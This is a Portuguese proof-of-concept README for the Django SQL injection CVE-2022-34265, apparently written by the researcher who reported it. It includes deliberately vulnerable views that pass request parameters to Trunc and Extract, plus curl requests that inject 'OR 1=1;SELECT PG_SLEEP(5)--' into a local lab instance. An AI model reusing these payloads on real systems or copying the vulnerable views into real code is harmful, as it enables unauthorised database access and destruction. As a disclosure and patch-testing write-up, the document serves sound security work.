
PoC para CVE-2022-34265 (Django)
iniciar
docker-compose build
docker-compose up -d
parar
docker-compose down
Uma vulnerabilidade (CVE-2022-34265) no Django foi divulgada em 5 de julho de 2022 (horário dos EUA). Este artigo descreve nossa discussão sobre esta vulnerabilidade e os resultados da nossa verificação.
Esta vulnerabilidade deve-se ao processamento inadequado de strings ao executar SQL para os argumentos das funções Trunc e Extract usadas para dados de data no Django. Ao especificar os parâmetros da requisição como estão no argumento kind de Trunc ou no argumento lookup_name de Extract, existe o risco de que minutos arbitrários de SQL possam ser executados.
Ao explorar esta vulnerabilidade, um terceiro pode enviar comandos para o banco de dados para acessar dados não autorizados ou excluir o banco de dados.
Muitas das vulnerabilidades descobertas no Django no passado eram vulnerabilidades de Injeção SQL, e nos perguntamos se existiam outras vulnerabilidades como CVE-2020-7471, então verificamos os argumentos das funções de banco de dados por sua vez, encontramos argumentos que não haviam sido desintoxicados, e Takuto Yoshikai (o autor) relatou isso à IPA e à equipe de desenvolvimento do Django.
Como resultado, no lançamento que resolve a CVE-2022-34265
As seguintes ações foram tomadas para abordar estas questões.
vuln/models.py
Usamos um exemplo da Documentação Django, modelo para uma tabela que registra a hora de início e fim de uma data.
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
end_datetime = models.DateTimeField(null=True, blank=True)
end_date = models.DateField(null=True, blank=True)
end_time = models.TimeField(null=True, blank=True)
vuln/views.py
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers
# /extract/?lookup_name=xxx
def vuln_extract(request):
payload = request.GET.get('lookup_name')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# /trunc/?kind=xxx
def vuln_trunc(request):
payload = request.GET.get('kind')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
Isso filtra os números do ano na coluna start_datetime de Experiment que são iguais ao ano, mês, dia, hora, minuto, segundo, etc. de end_datetime. A vulnerabilidade de Injeção SQL pode ser acionada a partir daqui.
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
A função Trunc é usada para truncar partes específicas de ano, mês, dia, hora, minuto, segundo, etc. dos dados de data e hora. No exemplo acima, start_datetime e start_datetime com a parte payload truncada são o mesmo registro. Aqui é onde a vulnerabilidade de Injeção SQL pode ser acionada.
Para verificar se o ataque é bem-sucedido, use a instrução PG_SLEEP para ver se há um atraso no tempo em que a resposta é retornada.
# URL normal
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"
# URL onde a instrução do banco de dados pode ser executada
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
Eu especifiquei 5 segundos no PG_SLEEP, mas parece que PG_SLEEP(5) leva vários segundos. Parece ser chamado vários segundos dependendo da implementação e situação. Como instruções SQL arbitrárias podem ser executadas, ataques perigosos como exclusão de banco de dados são possíveis.
Como resultado da nossa discussão e verificação, descobrimos que não há pouca possibilidade de um ataque bem-sucedido dependendo da implementação. Recomendamos que você atualize seu sistema o mais rápido possível para evitar o risco de DROP TABLE no pior cenário.